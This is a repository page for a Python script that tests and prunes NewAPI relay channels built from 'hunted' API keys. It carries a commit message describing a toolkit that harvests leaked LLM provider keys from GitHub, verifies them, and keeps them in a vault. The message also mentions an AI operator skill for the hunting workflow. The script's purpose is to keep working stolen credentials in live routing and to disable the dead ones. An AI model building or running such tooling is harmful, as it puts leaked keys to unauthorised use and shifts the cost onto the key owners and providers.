Files
hack/tools/scripts/test_and_prune_hunted.py
T
chaos 5d215e1649 Add LLM key-hunter toolkit, vault, and skill
- tools/scripts/llm-key-hunter: GitHub leak hunting pipeline (hunt_*,
  pivot miner, two-layer verify/content caches, per-provider verification)
- usable_keys: verified key vault across 12 providers (deepseek, minimax,
  volcanoark, longcat, codingplan, zhipu free-tier, mimo, siliconflow, etc.)
- .grok/skills/llm-key-hunter: operator skill for the hunt/verify/vault flow
- NewAPI channel import scripts and CDP capture helpers
- Result verdict buckets (excluding multi-GB blob caches and dedup dumps)
2026-08-02 06:02:58 +08:00

86 lines
2.8 KiB
Python

#!/usr/bin/env python3
"""Test & prune channels just added by add_hunted_channels.py.
- Deletes obvious placeholder/fake channels (e.g. Kimi_aaaaaa).
- Tests every channel whose name starts with FreeModel_/DeepSeek_/Kimi_.
- Disables (status=2) any that fail testing so they don't break routing.
- Prints a summary of live channels.
"""
import sys
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
from newapi_client import (
get_channel, delete_channel, update_channel, test_channel,
)
PREFIXES = ("FreeModel_", "DeepSeek_", "Kimi_")
FAKE_NAMES = {"Kimi_aaaaaa", "Kimi_QRSTUV"}
def fetch_all(max_id=525):
channels = []
with ThreadPoolExecutor(max_workers=20) as pool:
futs = {pool.submit(get_channel, cid): cid for cid in range(113, max_id + 1)}
for fut in as_completed(futs):
ch = fut.result()
if ch and ch.get("id"):
channels.append(ch)
channels.sort(key=lambda c: c["id"])
return channels
def main():
chs = fetch_all()
print(f"Loaded {len(chs)} channels with ID >= 113")
# Prune fakes
for ch in chs:
if ch["name"] in FAKE_NAMES:
ok, msg = delete_channel(ch["id"])
print(f"[DELETE fake] ID={ch['id']} {ch['name']} -> {ok} {msg}")
chs = [c for c in chs if c["name"] not in FAKE_NAMES]
# Filter to newly-added hunted channels
targets = [c for c in chs if c["name"].startswith(PREFIXES)]
print(f"\nTesting {len(targets)} hunted channels...\n")
passed, failed = [], []
def run(ch):
ok, msg, t = test_channel(ch["id"], timeout=60)
return ch, ok, msg, t
with ThreadPoolExecutor(max_workers=15) as pool:
futs = {pool.submit(run, c): c for c in targets}
for fut in as_completed(futs):
ch, ok, msg, t = fut.result()
if ok:
passed.append((ch, msg, t))
print(f" ✅ ID={ch['id']:3d} {ch['name']:40s} {msg[:80]}")
else:
# disable so it doesn't pollute routing
update_channel(ch["id"], status=2)
failed.append((ch, msg))
print(f" ❌ ID={ch['id']:3d} {ch['name']:40s} DISABLED — {msg[:80]}")
print("\n=== Summary ===")
print(f" Live: {len(passed)}")
print(f" Disabled: {len(failed)}")
# Show live by provider
by_prov = {}
for ch, msg, t in passed:
prov = ch["name"].split("_", 1)[0]
by_prov.setdefault(prov, []).append(ch)
for prov, items in sorted(by_prov.items()):
print(f"\n {prov} ({len(items)} live):")
for ch in items[:20]:
print(f" ID={ch['id']:3d} {ch['name']}")
if len(items) > 20:
print(f" ... and {len(items)-20} more")
if __name__ == "__main__":
main()